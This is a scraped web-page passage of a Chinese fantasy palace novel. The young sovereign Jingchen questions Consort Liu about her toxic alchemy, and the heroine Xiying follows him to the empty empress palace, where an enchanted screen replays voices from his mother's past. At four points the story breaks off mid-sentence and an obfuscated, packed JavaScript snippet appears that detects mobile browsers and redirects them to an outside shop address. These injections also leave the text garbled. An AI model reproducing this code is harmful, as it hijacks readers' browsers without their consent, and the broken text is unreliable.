“启禀陛下,这是在院子里美人蕉底下挖出来的丹炉,这只鹦鹉试图阻拦奴才,故而一道抓回来了。” 景辰点点头,对已经止住哭泣的柳才人道:“这些东西柳才人可认得?” 柳才人轻轻咬了咬唇,摇头道:“臣妾没见过这些东西。” 不待景辰再次开口询问,奚萦解开了鸟嘴,只听一道尖利的声音大嚷道:“阿月救我!有蛇!有蛇啊!他们还偷你的丹炉!” 它一边嚷嚷一边大力挣扎,奚萦顺势松手,这鸟立马拍着翅膀飞到柳才人肩头,亲昵地蹭了蹭她的侧脸,嘴里不停地叫着“阿月阿月”。 柳才人嘴角抽搐,半晌说不出话来,一旁的青黛急得伸手去抓那鹦鹉,却被它灵巧躲开,大骂道:“青黛也坏!青黛也坏!” 看着眼前这场闹剧,景辰怒极反笑:“看来这鸟认识柳才人啊,倒是机灵。” 柳才人不吭声,鹦鹉却高兴道:“对对对,瓜皮最机灵了!” 奚萦:“……” 景辰:“……” 两人被它噎得齐齐咳嗽,柳才人则是一副心如死灰的模样,任由瓜皮在自己肩上头上跳来跳去,眼神都变得清澈了许多。 景辰清了清嗓子继续问:“这炉子里又是什么东西?” 柳才人吭哧了也没说出句囫囵话来,景辰没了耐心,起身就要往外走,一边走一边对奚萦吩咐道:“传朕旨意,柳氏以邪术祸乱后宫,草菅人命,贬为庶人,赐鸩酒。东陵伯柳观教女无方,褫夺其伯爵之位,贬为庶人,东陵柳氏——” 奚萦都听傻了,怎么直接就杀人抄家了?这小皇帝明明长得人模狗样结果却这么残暴的吗? 反应更大的是柳才人,不等景辰说完,她疯了一般冲过来抱住景辰的腿,语无伦次地求饶:“陛、陛下饶命,饶命,求求您了,都是臣妾一个人的错,臣妾绝无害人之心!臣妾都说,都说……是血屠草,臣妾用血屠草炼丹,不不,没炼成,没炼成,臣妾也不知道怎么就成这样了啊,求陛下饶命,饶命……” 她这回是真的害怕了,哭得涕泗横流,额头一下又一下磕在冰冷的地砖上,很快就见了血,再没有之前梨花带雨的娇美。 景辰后退一步,不想让柳才人碰到自己的衣摆,冷冷道:“你不是什么都不知道吗?” “臣妾身为后宫妃嫔,炼丹求道实乃离经叛道之事,何况还出了这么大的岔子,臣妾实在害怕,这才有所隐瞒,但绝对没有任何害人的心思,炼制的丹药也都是自己吃了,还望陛下明鉴啊!” 景辰坐回原位,一时竟也不知道该说什么好,奚萦也觉得这事荒谬至极,这柳才人不过一介凡人,哪里来的自信炼丹?炼丹就算了,还用什么血屠草这种听上去就不是好东西的玩意儿炼丹!没炼成不说,竟然还自己吃了?这姑娘是自己脑子有问题还是觉得皇帝脑子有问题呢? 景辰的心情跟奚萦差不多,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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大一点的笼子虽然也是笼子,但总归是比小小的柳府更自在些,比如时时刻刻监视她的父母进不来了,身边的眼线也只剩下青黛一个,更妙的是,她能光明正大地养鸟了。 鹦鹉瓜皮,是她小时候养的许多鸟儿中的一只,这小家伙自小就笨,经常啄坏她的衣裳书本,她一气之下就给它取名瓜皮了,然而小鸟们被柳家父母送走后,却只有瓜皮一只鸟带着满身伤跑了回来,还叼着不知从哪儿捡来的果壳送给柳希月。 柳希月感动极了,却不敢明着养瓜皮,于是便教它自己往树丛里草堆里藏,白日里尽量在柳府外面讨生活,晚上再摸进来跟她见面。 一人一鸟的地下主宠情就这样持续了好几年,又延续到宫里,瓜皮如今说话越来越溜,脑子却依然不怎么好使。 后宫人少规矩也少,皇帝连面都见不到,皇后也还没有,柳希月养只鸟自然也没人来说什么,于是瓜皮没事就自己出去满宫溜达,时不时带点各宫特产回来送给柳希月。 半个月前,它叼回一株通身血色的草。 柳希月博闻强识,一眼就认出这是血屠草,她以前看过的道经中曾有过记载,血屠草是炼制洗髓丹的重要药材。 洗精伐髓,这可是修道成仙的第一步啊! 柳希月的仙女梦从未熄灭,这传闻中的血屠草更是点燃了她追梦的火苗,她托御膳房负责采买的太监从宫外弄了只丹炉,又凑齐了其他几种材料,自信满满地开始炼丹了。 一个从未修行过的小姑娘哪里会炼什么丹,一连失败三次,柳希月眼里的火苗都快熄灭了,眼看着材料耗尽,瓜皮也找不到第二棵血屠草了,柳希月心一横,直接将炼废了的药渣一口闷了。 当然,一口没闷完,三大锅呢,柳希月每天吃一点,剩下的就埋在美人蕉下面,让瓜皮帮她看着。 一开始她只觉得浑身发热头脑昏沉,连吃两天后,她的头发开始变白,皮肤也变得粗糙松弛,肚子饿得很快,好像吃再多也不够,但除此之外好像没有别的副作用,更神奇的是,她的力气变得很大,以前连瓜皮都抓不住,现在竟然能单手举起一张桌子。 她这些变化自是没瞒过贴身伺候的青黛,青黛吓得当即就要请太医,但柳希月坚决不准甚至以死相逼,青黛也只能胆战心惊地替她瞒着。 柳希月没修行过,但她猜测洗髓成功、入道修行应该差不多就是这种感觉,于是第三天,她又干了一碗药渣。 这次的反应有些大,她很快就昏睡了过去。 再醒来时,就看到满屋子惊恐难安的宫女太监,以及满脸杀气的皇帝。 41. 凤栖梧桐 听完这番前因后果,奚萦和景辰许久都没说话。 “你就,你就不怕被毒死吗?” 景辰语气有些飘忽,带着满满的难以置信。 柳希月嗫嚅道:“怕,怕啊,可是古语有云,吃得苦中苦,方为人上人,仙人又岂止是人上人,想修仙当然不能怕吃苦。” 这是吃苦不吃苦的问题吗?这是要把命都搭进去啊姑娘! 奚萦和景辰再次被震惊到失语。 柳希月脸上泪痕尤在,一双杏眼却熠熠生光,坚定中透着呆气,仿佛为了成仙可以牺牲一切的模样,浑然忘了先前听到景辰赐她鸩酒时的恐惧。 景辰见状只能徒劳地张了张嘴又闭上,反倒是一直缩在旁边抹眼泪的青黛忍不住了,哀声道:“姑娘啊,您可知那毒有多可怕?若不是陛下让人给您喂了一碗新鲜的人血,您今日恐怕就没命了啊!老爷夫人将您视若掌珠,您要是死得这般凄惨,可想过他们该如何是好?何况这毒要是再发作的话,再发作的话……” 青黛想到柳希月毒发时的可怖模样,再也说不下去,只低头不停地抹眼泪。 景辰目光扫过青黛,又看向柳希月,眼神中的嫌恶掩饰不住:“喝人血也只能暂时控制住毒素,肯定会再发作的。” 柳希月呆呆道:“喝、喝人血?” 她低头看了看衣襟上沾染的鲜红血渍,又看看地上碎裂的白瓷碗上残留的血痕,以及青黛腕间被纱布裹住的伤口,终于想明白景辰话中的意思,一阵令人眩晕的恶心感涌上喉间,她顿时难以控制地干呕起来,眼泪糊了满脸。 景辰不耐烦地低喝道:“行了!你都那胆量胡乱吃药,现在又有什么脸哭哭啼啼的?你死了便死了,若不想牵连家人的话,就老老实实回答朕的问题。” 柳希月颓然跪坐在地上,胡乱抹了把眼泪,哽咽道:“陛下问、问吧,臣妾都说,绝不敢,不敢隐瞒。” 景辰:“你这丹方是从何处得来的?” 柳希月:“这是天道宗的秘方,是臣妾从外祖父那里看到的。” 景辰:“你外祖父是?” 柳希月:“臣妾的外祖父曾任司天监少监,三年前已告老还乡。” 景辰恍然,司天监主管历法推算、观察记录天象,据说前朝时还统管天下道门,曾经能人辈出,也是炙手可热的实权衙门,只是如今道门衰微,景家几代皇帝对求仙问道之事皆以打压为主,司天监也跟着没落,成了专管卜算吉日的边缘衙门,少监算是司天监的二把手,但也不过是六品的小官,连上朝的资格都没有,景辰自是不记得已经致仕的前任少监。 奚萦的注意力却被“天道宗”这三个字吸引了过去,魇魔的主人、狐妖寄心当初也是听了天道宗道人的蛊惑,坚定地认为狐妖成仙须得攫取天子气运这种鬼话,这才勇闯宫廷然后丢了性命,她当时便传信给封峻让他调查天道宗,然而至今没能查出个所以然来,之后许家之事中也有“道士”的身影,只是这道士与天道宗的道士是否同一伙人还未可知,不曾想今日又在柳希月这里听到天道宗的消息,而且又是跟成仙有关的事。 天下哪有那么多巧合的事,这天道宗就算不是真正的幕后黑手,也定然脱不了干系。 她有心想问问这天道宗秘方的事,但碍于身份不好直接插嘴,正想找个什么理由委婉地提醒一下皇帝时,景辰忽然问道:“天道宗是什么?天道宗的秘方你又是如何得到的?” 奚萦暗暗挑眉,没想到小皇帝竟还跟自己有几分默契,不错不错。 柳希月:“天道宗是个很厉害的宗门,据说开山祖师早已飞升成仙了!臣妾外祖父也喜欢这些神仙传说,搜罗了许多修行功法、道家秘籍丹方之类的,臣妾小时候经常偷偷溜进外祖父的书房玩,看过不少这类典籍。” 景辰点点头,没再继续追问天道宗的事,他毕竟不知道狐妖寄心被天道宗道士蒙骗之事,只以为是什么坑蒙拐骗的江湖术士,故而只是将这事记在心里,准备之后派人调查一下。 “那所谓的血屠草又是在哪儿找到的?” 柳希月目光飘向一旁发呆的瓜皮,小声道:“瓜皮,你是在哪儿找到那株红色的草?” 瓜皮的小脑袋一歪,理直气壮道:“瓜皮忘了!” 柳希月眼前一黑,差点当场厥过去,景辰的脸色也变得难看了几分,房间里的气氛再次陷入凝滞。 奚萦忍不住小声提醒道:“柳才人可还记得瓜皮带回血屠草的那天出去了多久回来的?” 柳才人努力想了想,肯定道:“它每天出去好几次,每次都不超过一个时辰。” 奚萦看了憨头憨脑的瓜皮一眼:“那应该没有离开皇宫。” 瓜皮颇为赞赏地对奚萦点点头:“你很聪明!瓜皮不会飞太远,迷路了的话阿月会着急。” 被傻鸟称赞了的奚萦并不觉得很开心,她有些无语地白了它一眼,轻咳一声建议道:“陛下,要不让这鸟在宫里转转,或许看到熟悉的地方它就能想起来了。” 也只能这样试试了,毕竟也没办法对一只鸟威胁恐吓严刑拷打。 然而景辰这次的沉默却格外漫长,奚萦都以为他会否定这个提议,但他最终却轻声道:“那就试试吧。” 奚萦上前抓起瓜皮,它气得张嘴就要骂人,被奚萦一捏,立即哑了声。 景辰起身就往外走,柳希月见状想伸手去拉,被景辰一瞪只好缩回手,期期艾艾道:“陛下,臣妾,臣妾……” “柳才人禁足,除了青黛谁也不准见。” 还好,小命暂时保住了,柳希月松了口气,颓然委顿于地,脸上空茫一片。 * 离开漪兰殿后,景辰郁气未消,始终一言不发,奚萦假装看不懂他的犹豫,小声威胁瓜皮:“带我们去找你发现血屠草的地方,找不到的话把你毛拔光烤了喂猫!” 她用司主令隔着衣袖敲了敲瓜皮的脑袋,瓜皮好歹开了点灵智,当即被震慑得服服帖帖,一个劲儿地点头,奚萦很满意,伸手将它放飞。 彩羽鹦鹉飞得磕磕绊绊,原地转了好几圈才勉强找到方向,但它的确是记不大清当时到底在哪儿找到那血屠草的了,带着景辰和奚萦绕了大半个皇宫找错了好几次后,终于,傻鸟在一处宫殿上空飞了三圈,回来十分笃定地对奚萦道:“就是这里没错了!院子里有很大的梧桐树!我在花盆,啊不是,在墙根,呃也或许是地砖缝里找到那棵红色的草的。” 奚萦对它的说辞深表怀疑:“你确定是这里?” 瓜皮大力点头:“没错,这里有那种奇怪的腥味儿,瓜皮鼻子可灵了呢!” 奚萦看着宫殿大门上的金漆红纹牌匾,上面写着“栖梧宫”三个大字。 这是历代皇后居住的宫殿,如今中宫虚悬,栖梧宫暂时没有主人。 景辰也仰头看着宫门,又是一阵沉默。 “陛下,可要进去看看?” 奚萦语气和善地催问,心里早已嫌弃这小皇帝的磨磨蹭蹭藏着掖着,恨不得把他拖进去算了。 但景辰却像是没听见,半晌后,他转身就走,同时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这个,太后好像是去九曜山了,至于为什么,这奴才也不知道啊,宫里几乎没人会提太后娘娘,这母子俩关系似乎不大好。” 关系不好啊,那这背后的故事就多了…… 奚萦决定了,晚上再去栖梧宫看看。 其实她之前夜探皇宫的时候也去过栖梧宫,但这座宫殿没有主人,平日里只有洒扫的几个宫人在,她没看出什么异常之处,然而今日瓜皮和皇帝的反应都说明这栖梧宫藏着她还没发现的秘密。 景辰一整天都心事重重的,入夜后也早早洗漱就寝了,奚萦将金内侍丢在蓬莱宫的龙床底下当眼线,自己则潜入栖梧宫探查。 然而她刚翻进栖梧宫后院,就听金内侍火急火燎地传音报信:“司主大人!陛下去栖梧宫了!” 奚萦心道他果然还是坐不住了,这时金内侍又叫道:“哎呀他速度好快奴才跟不上,司主大人您小心点别被他发现了!” 她这下有些惊讶了,上次在宫里追魇魔时这小皇帝眼神就极好,指挥着羽林卫一直追在她后面,没想到他竟真有修为在身,连金内侍都跟不上,这人身上果然秘密一大堆啊! 今日景辰下令禁止任何人进出栖梧宫,此时宫外被羽林卫围得水泄不通,宫里却一个人也没有,奚萦想了想,就近寻了处空房藏了进去。 很快,外面传来极轻的脚步声,透过窗棂的缝隙,奚萦看到一个浑身裹在黑斗篷里的身影快步走到院中,停了片刻后又径直朝寝殿的方向而去。 奚萦丢出一个小纸人,悄无声息跟了上去。 42. 不要在路边捡奇怪的东西 黑斗篷人的确是景辰,他上一次来栖梧宫已经是五年前,太后也搬离这座宫殿一年多了,虽然定时有人打扫清理,但没有主人的宫殿还是显露出几分荒凉之感,连院子里的梧桐树都没精打采的。 走到院子中间时,景辰停下脚步,任由夏夜的风带着热气胡乱打在脸上,但他也只犹豫了片刻便直接朝寝殿的方向走去。 栖梧宫作为大雍历代皇后居住的宫殿,同蓬莱宫一样坐北朝南,占地极广,景辰心里犹豫不安,脚步也跟着渐渐放慢,从后院到寝殿这段路硬是走了足足一刻钟,把奚萦都跟得不耐烦起来,暗暗嘀咕这小皇帝不仅鬼鬼祟祟还拖拖拉拉,麻烦! 但再怎么拖拉,他终究还是走到了寝殿外。 朱漆大门紧闭着,将许多不敢回忆的往事牢牢锁住,景辰伸手触碰门扉,却没有立即将门推开。 他的脸藏在斗篷里,奚萦的小纸人藏在地上的落叶底下,从这个角度只能借着月色看到他紧绷的下颌。 栖梧宫中发生过什么让他难过的事吗?否则为何他浑身上下都写着抗拒?这要磨蹭到什么时候去? 奚萦这般想着,鼓起腮帮子朝景辰背后吹起一股大风。 景辰正心情复杂着呢,猝不及防被这股妖风推着往前,吱呀一声,殿门被打开了。 他回头张望,正好看到一片梧桐叶被风吹过门槛。 今晚月色极好,景辰的眼力也极好,他清楚地看到碧绿的叶子边缘露出一点类似于符纸的淡黄色。 一个意料之外又在情理之中的答案电光火石般闪过,景辰一直紧绷的嘴角轻轻勾了一下又很快崩回去,他弯腰捡起那片自投罗网的叶子,眼疾手快将它翻了个面,露出背后藏着的小纸人。 “唔,这小东西倒是别致。” 奚萦:“……” 你才别致!你全家都别致! 这都什么出师未捷身先死的悲惨剧情啊! 奚萦气得抓狂,堂堂司主大人亲自出马跟踪一个凡人,结果正戏还没开场呢就被人逮个正着,简直是奇耻大辱! 虽然心里怄得快要吐血,但奚萦仍旧没有将附在纸人上的神识撤离,一来她识海的伤势还未痊愈,舍弃了这只纸人她今晚就只能亲身上阵了,二来她也想看看这小皇帝葫芦里究竟卖的什么药。 于是乎,奚萦心里骂骂咧咧,表面却淡定极了,假装自己只是路过的无辜小纸人。 当然,奚萦想破脑袋恐怕也想不到,景辰之所以能发现她,主要是因为他曾见过这种小纸人,她留给他的那只储物袋里就有两个一模一样的,而他最近闲来无事摆弄过许多次,甚至自行摸索出了以神识附着操控纸人的用法。 再则今日柳才人之事闹得这么大,景辰觉得奚萦若在宫里的话,定是要来掺和一下的,尽管他一整天都心事重重的,几乎无暇去想奚萦的事,但谁让司主大人性子太急,好死不死偏要在这档口吹自己那一下呢,这不就让他逮了个正着吗? 景辰压抑了一天的心情顿时轻快了几分,奚萦作为同伴总是让人安心,何况以他们的关系和如今事情的发展来说,除了他就是富贵儿这件事关系到脸面和尊严必须得保密之外,别的事情约莫都可以说,包括栖梧宫这件事。 拎着纸人的小胳膊翻来覆去看了两遍,见她装得认真,他也煞有介事地戳了戳纸人脑门儿,然后比划着打算将她别在衣襟上。 但衣襟这个位置紧靠着胸口,夏日衣衫轻薄,将人别衣襟上就几乎等于是肉贴着肉了,这是不是过于放肆了点? 想到这里景辰心虚地红了耳根,幸好有兜帽在不至于被手里这只装傻充愣的家伙发现,他假装无事地在身上寻摸了一阵,最后给司主大人寻到个好去处——斗篷的系带。 用系带在小纸人的腰间缠了好几圈,再打个松垮垮的蝴蝶结,司主大人就这样被挂在了景辰胸前,风一吹就晃荡,走起路来也晃荡,视野极佳,就是太晃荡。 景辰轻轻弹了小纸人一个脑瓜崩,弹得奚萦原地转了好几个圈他才露出满意的笑,完美! 奚萦:“……” 她发誓,迟早要将这狗皇帝吊到宣仁门上晃荡个三天三夜! 啊不是,堂堂天子,在路边捡奇怪的东西还系在衣带上是什么狗德行啊? 无论奚萦心里有多抓狂,两人终究是绑在一根绳上,组成了夜探栖梧宫的队伍。 因着久无人住,寝殿里空荡荡的,四面窗扉紧闭,月光照不进来,殿中只有一片幽深的黑暗,景辰缓步走在这片黑暗中,似乎没有什么确切的目标。 奚萦这会儿倒是不急了,反正她就是来盯着这小皇帝的,他既然大半夜偷偷摸摸地过来,总不至于随便看看就回去。 果然,走到一面屏风前时,景辰脚步顿住。 这是一面浅浮雕画屏,黄花梨木底座上雕刻着常见的祥云松鹤纹路,画屏所绘似乎是一幅仕女游春图,室内一片黑暗,奚萦只隐约看到有裙裾迤逦的女子和远处起伏的山峦。 景辰在屏风面前驻足了片刻便继续往里间走去,搞得奚萦一头雾水,忍不住偷偷回头去瞧那屏风,然而纸人目力有限,她实在看不清楚屏风上到底有什么。 此时两人已经到了寝殿最里面,景辰直接走向靠墙立着的大衣柜,这次没有犹豫,他伸手一把拉开了衣柜门。 吱呀一声轻响,柜门带起一阵微风,将奚萦吹得直转圈,一股灰尘味儿扑面而来,呛得景辰后退半步,顺手捏住转圈的纸人,安抚似的拍了拍。 奚萦恼得想咬人,但那只手飞快从她脑袋上撤离,又顺势掏出火折子点燃,她的注意力立马转移到眼前的衣柜上。 借着火折子的微弱光亮,景辰将衣柜各个角落都仔细看了一遍,然而除了灰尘之外再没有别的东西,于是他又顺手将衣柜门关上,这次动作小心了很多,没有吹到衣带上吊着的司主大人。 奚萦有点失望,她还以为衣柜里藏了什么大秘密呢,结果只等来一捧灰。 景辰倒是不意外,毕竟这么多年过去了,母后离开时肯定也会将一切可疑的痕迹清理干净,他只是想来确认一下而已。 看完空衣柜景辰便不再停留,转身往外走去,走到那架屏风旁边时却再一次停下脚步。 火折子尚未燃尽,靠着这点火光,奚萦这次终于看清了屏风上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14232580|151355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 画,这一下惊得她倒抽一口凉气,差点就要装不下去了。 这幅画并非什么仕女游春图,而是一个躺在血泊中的骷髅,鲜红的血迹在骷髅身下蜿蜒,远远看去就如同女子迤逦的裙摆,更诡异的是,骷髅怀中竟抱着一团毛绒绒的东西。 正常人怎么可能在卧室里放一架这么可怕的屏风啊,就不怕晚上做噩梦吗?何况这还不是一般人的卧室,这是皇后的寝宫! 更奇怪的是,小皇帝虽然两次在屏风面前驻足,但他看到这屏风上的画面竟然这么平静,莫非早就知道画里是什么? 奚萦念头百转,忍不住微微仰头去看景辰的反应。 景辰并不知道,他看到的画屏的确只是普通的仕女游春图,画中的红衣女子抱着一只雪白毛团赏花,画面十分和谐温馨,而他之所以两次停下看这屏风,是因为画中女子正是他的母亲,当今太后江静萱。 先帝驾崩后不久,江太后便以伤心过度需要静养为由去了九曜山别宫,连景辰的登基大典都不曾参加,之后这一年多的时间里,他几次去信问安,九曜山那边却连只言片语也不曾回复,前段时间病重时,他甚至在想,是不是就算自己死了,母后也不会再回来看他一眼? 今晚踏入栖梧宫开始,记忆中与母亲相处的零星画面便不断浮现,然而短短十八年的时光中,这种画面实在少得可怜,从后院走到寝殿那一刻钟的时间里回忆便已告罄。 小时候的景辰羡慕伴读的世家公子们有母亲缝的衣裳鞋袜,有母亲做的糕点,也有母亲恨铁不成钢的鸡毛掸子和温柔耐心的唠叨,他的母后只会在他请安时派宫女冷冰冰地丢下一句:“皇后娘娘身体不适,太子殿下请回去吧。” 母子两一个月能见一次面都算不错了。 他也曾伤心地问父皇,他真的是母后亲生的孩子吗? 隆庆帝笑他傻,耐心地跟他解释,江皇后生下他后身体便不大好,让他多多体谅。i 可惜事到如今,父皇已经不在,母子两人也形同陌路。 然而再看到这架画着江太后的屏风时,他还是忍不住停下脚步多看了几眼。 画中的女子笑靥如花,她抱着小狗的模样也温柔极了,那是景辰从没见过的模样。 他心底渐渐泛起酸涩,暗嘲在母后的眼中,他这个儿子或许还比不上一条狗。 鬼使神差地,景辰伸出手,指尖轻轻碰了碰江太后怀里的毛团。 奚萦被他这动作吓了一跳,忍不住出声提醒:“别碰!” 然而已经晚了,画中的毛团倏然抬头,露出一口尖牙,狠狠咬在景辰指尖。 米粒大的血珠渗出,瞬间染在毛团身上,一声悠长的狼嚎瞬间响彻栖梧宫。 伴随着这声狼嚎,景辰和奚萦同时察觉到周遭温度骤降,原本带着点灰尘味儿的空气如同被搅乱的水面一般泛起涟漪,鼻端飘来似有若无的沉水香。 “唉……” 女子的轻叹声从身后传来,然而不等两人回头,另一道声音又响起。 “娘娘快别叹气了,皇上今晚要来栖梧宫,您要不换身衣裳?” “有什么好换的……” 43. 栖梧宫的秘密 景辰怔住,喃喃唤道:“母后……” 奚萦趁他不注意转着脑袋四处张望,却没有看到声音的主人,他们还在栖梧宫的寝殿里,但周遭一切却又跟先前完全不一样了。 两人愣神之际,先前的女声再次传来,带着明显的惊恐。 “你不是皇上!你、你究竟是谁?!” “嘘,别出声……” 这句话里蕴含的意思太过丰富,小纸人奚萦当即一个激灵,原本一直晃动得很有规律的衣带瞬间抻直了,景辰也惊得屏住了呼吸。 两人都竖着耳朵等下文,但那两个声音都没再继续。 这种几乎将人心提到嗓子眼儿的安静持续了约莫半刻钟,终于又有新的动静。 “娘娘这肚子尖尖的,定然怀的是位小皇子。” “是吗?儿子女儿又有什么差别呢,女儿或许还好些……” 仍旧是先前那女子的声音,说完这句便又安静了下来,奚萦有些想叹气,这女子的语气中听不出半点对孩子的期待,反倒透着深重的绝望,想必皇帝也听出来了,她明显感觉到衣带另一头的人整个都僵住了。 又过了片刻,新的对话响起。 “阿萱,辰儿很想念你,明天见见他吧。” “好。” …… “念伊,这把剑是我母亲留给我的,今日便赠与你吧。” “这剑真漂亮啊,它叫什么名字?” “它没有名字。” …… “不要再回来了,念伊……” …… “没用的……让我走吧阿萱。” “我不!” …… “母后,这是什么东西?你为何要用自己的血喂这个怪物?” “不想死的话,今日就当什么也没看见,知道吗?” “不行!我要告诉父皇!” “那我们就一起死,所有人都要去死!你想害死自己的父母吗?!” …… “阿萱,是你——” …… 足足一刻钟过去了,没有新的声音响起,整座寝殿安静得落针可闻,原本忽然消散的暑热重新从四面八方涌来,景辰却仍旧浑身冰凉。 最后这个声音,是他父皇的。 “你说,要不要留着这个屏风?” 景辰的声音压得极低,像是在询问,又像是在说服自己。 奚萦无法回答他这个问题,她现在脑子转得飞快,已经将这几段对话背后隐藏的故事脑补出了好几个版本,什么深宫怨侣、母子成仇、妖邪惑人、旧友诀别、不伦之情、血染梧桐…… 总之没一个好结局。 景辰那一句似乎只是自言自语,他僵立半晌后,忽然伸手再次触碰屏风。 这次那毛团没有再张嘴咬他,原本含笑而立的红衣女子也变成了倒在血泊中的骷髅。 “这个东西不该留着,你说对吧?” 一滴温热的东西砸在小纸人头上,奚萦猝不及防之下被砸得转了两圈,只听景辰又道:“看来你也这么想的,好吧,我听你的。” 奚萦:“……” 你可真会甩锅啊! 还未燃尽的火折子忽然落下,砸在屏风底座上,火苗呼地窜起,点燃了绷在屏风架子上的绢布。 火势很快起来,几个呼吸之间便将诡异的画面尽数吞没,景辰将小纸人轻轻捏在手心后退了两步,安静地看着大火将屏风一点点烧成了灰烬。 或许是因为心里装着太多事,也或许是养尊处优惯了没有打扫现场的习惯,确认屏风烧成灰后景辰便直接离开了。 直到他好端端躺在蓬莱宫的龙床上之后,奚萦才撤回附着在小纸人上的神识,从空屋子里出来,再次回到栖梧宫寝殿中。 除了少了一架屏风多了一堆灰烬之外,寝殿并无任何变化,但奚萦还是将每个角落地仔细检查了一遍,尤其是景辰曾打开检查过的那个衣柜。 奚萦猜测景辰那时候看到的喝血怪物就在衣柜里藏着,所以他才会直奔衣柜而来。 她亲手将衣柜犄角旮旯都摸过一遍,再用司主令照一遍,可惜什么也没发现。 奚萦有点失望,但仔细想想这也在情理之中,江太后还活得好好的,并且是自己离开了皇宫,想必会将能清理的痕迹都清理干净了才离开。 除了那扇屏风。 再次来到屏风烧毁后留下的炭灰旁,奚萦总觉得哪里怪怪的。 能将声音留存起来的法宝她也有,度朔堂堂主鹤老头是炼器大家,奚萦的法宝符箓基本都是从他那儿薅来的,其中有一件名为相思玉的法宝就有留音的功能,但这种以灵气拨动簧片保留下来的声音只能维持几个月的时间,随着灵气逸散声音也会渐渐消失,就算重新注入灵气也不会是原来的声调音色,而屏风里的对话,最远的甚至在小皇帝出生之前,这就很是不凡了。 如此不凡的东西,竟然被平平无奇的火折子给烧成了渣?就算是她买给小狗的裤衩子也没这么脆啊! 奚萦琢磨着要不要将这堆炭灰带走仔细研究,又担心那小皇帝心血来潮回来看看,结果发现案发现场被扫荡一空,想来想去,她觉得还是就地观察为好。 于是奚萦蹲在地上,把司主令当烧火棍用,一点点地扒开炭灰仔细检查。 这时候她就忍不住想念小狗,狗鼻子灵,找东西最好使了,狗爪子也不怕脏,刨炭灰什么的最合适了,至于狗东西喜欢骂骂咧咧,反正她听不懂,全当没听见就行。 唉,也不知道封狐狸什么时候能把她的剑修好,富贵儿肯定闷坏了吧? 忽然,手底下传来“叮”的一声脆响,司主令也跟着微微发热,奚萦眼睛一亮,赶紧上手扒拉了几下,从灰烬里扒出一根拇指大小的黑东西。 这玩意儿似金非金似玉非玉的,奚萦一时也拿不准到底是什么,但司主令会发热,说明有陌生的妖气存在,只是妖气微弱到几乎无法察觉,这东西的原主要么实力极差,要么死了很久了。 将东西收好后,奚萦又仔细将剩下的炭灰翻找了两遍,没发现别的东西,她将现场大致还原后,离开了栖梧宫。 * 长夏宫中,魇魔和孙胡还在大眼瞪小眼。 “哎我说你这猴子怎么这么死心眼呢,让你盯着我,你就真的用两只眼睛这么一直盯着啊?” 如果视线能化为实质的话,魇魔觉得自己恐怕已经被烧穿了,这死心眼儿的猴子得了奚萦的吩咐,硬是眼也不眨地盯了她整整一天。 “司主大人说了要盯着你。” 孙胡声音怯怯的,眼睛却仍旧睁得大大的。 “嘿你个臭猴子,吃老娘一记魅狐惑心大法!” 孙胡还没反应过来,眼前就被一片凝脂般的雪白覆盖,等他看清那是魇魔的半个胸脯时,顿时发出一声惨绝人寰的尖叫,嗖地一下变回原形蹿上了房梁。 一进门就看到魇魔衣衫半解对着房顶抛媚眼,而自家猴子挂在梁上吱哇乱叫,奚萦顿时一阵头疼,上前一把拎起魇魔,丢垃圾一般往花瓶里一扔,搔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14232581|151355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 首弄姿的家伙一下就变成根小树人倒插在花瓶中,咕嘟咕嘟灌了一肚子水。 “下来吧,她现在欺负不了你了。” 孙胡跳下房梁,委屈巴巴地唤了一声“司主大人”就缩在奚萦小腿边不敢挪步,显然是被魇魔的下流招数吓得不轻。 魇魔喝饱了水,趴在花瓶上哭哭啼啼地求饶:“好姐姐,我错了,我就是逗小猴子玩玩,没想对他做什么,您就原谅我一次吧。” 奚萦懒得理她,拿出炭灰里找到的那根东西递给孙胡看,问他能否认出是什么东西。 孙胡看了半天摇头道:“抱歉司主大人,我只能感觉到这东西上有一点妖气,但认不出来到底是什么。” 奚萦也没有很失望,当即就要收起东西准备拿去让封峻看看,魇魔这时又插嘴道:“好姐姐好姐姐,你让我也看看呀,万一我认识呢!” 这话也有道理,妖多力量大嘛,于是奚萦将东西递过去,顺嘴威胁道:“看仔细了,要是敢胡说八道的话,下次就让你喝茅坑里的水。” 这威胁实在有分量,魇魔连道“不敢”,接过那材质古怪的黑东西翻来覆去仔仔细细看了又看摸了又摸,差点就给盘出包浆了。 奚萦不耐烦地敲敲花瓶:“看出来什么了吗?” 魇魔语气很是认真:“马上就看出来了!” 奚萦:“……” “嘿嘿,我觉得这个东西有点熟悉,怎么说呢,跟我很像。” “什么叫跟你很像?难不成是你亲戚?” 